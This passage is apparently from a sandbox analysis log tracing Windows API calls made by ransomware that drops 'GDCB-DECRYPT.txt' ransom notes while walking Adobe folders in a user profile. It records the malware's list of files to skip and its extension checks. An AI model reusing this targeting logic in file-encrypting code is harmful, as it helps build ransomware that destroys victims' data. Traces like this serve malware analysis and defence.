Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 220 [0170.272] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 220 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.272] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.272] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.272] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.273] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.273] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 213 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 213 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 213 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 213 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.273] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.273] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.273] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.273] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.273] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.273] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.273] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.274] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.274] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.274] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 202 [0170.274] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 202 [0170.274] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 202 [0170.274] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 202 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.274] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.274] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.274] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.274] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.274] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.274] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.274] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.275] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 184 [0170.275] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.275] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.275] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.275] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.275] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.275] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.275] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.275] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.275] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.275] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.275] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 198 [0170.275] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.275] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.275] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.275] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.275] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.275] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 200 [0170.275] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.275] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.275] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.275] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.275] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.275] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 192 [0170.275] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.275] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.276] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.276] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 201 [0170.276] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.277] GetLastError () returned 0x50 [0170.277] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.278] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 184 [0170.278] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.278] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.278] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.278] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.278] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 198 [0170.278] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 198 [0170.278] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.278] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.278] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.278] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 200 [0170.278] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 200 [0170.278] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 200 [0170.278] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 200 [0170.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.278] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.279] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.279] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.279] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.279] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.279] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.279] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.279] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.279] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 193 [0170.279] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.279] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.279] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.279] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.279] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.279] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.279] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.279] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.280] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.280] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.280] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 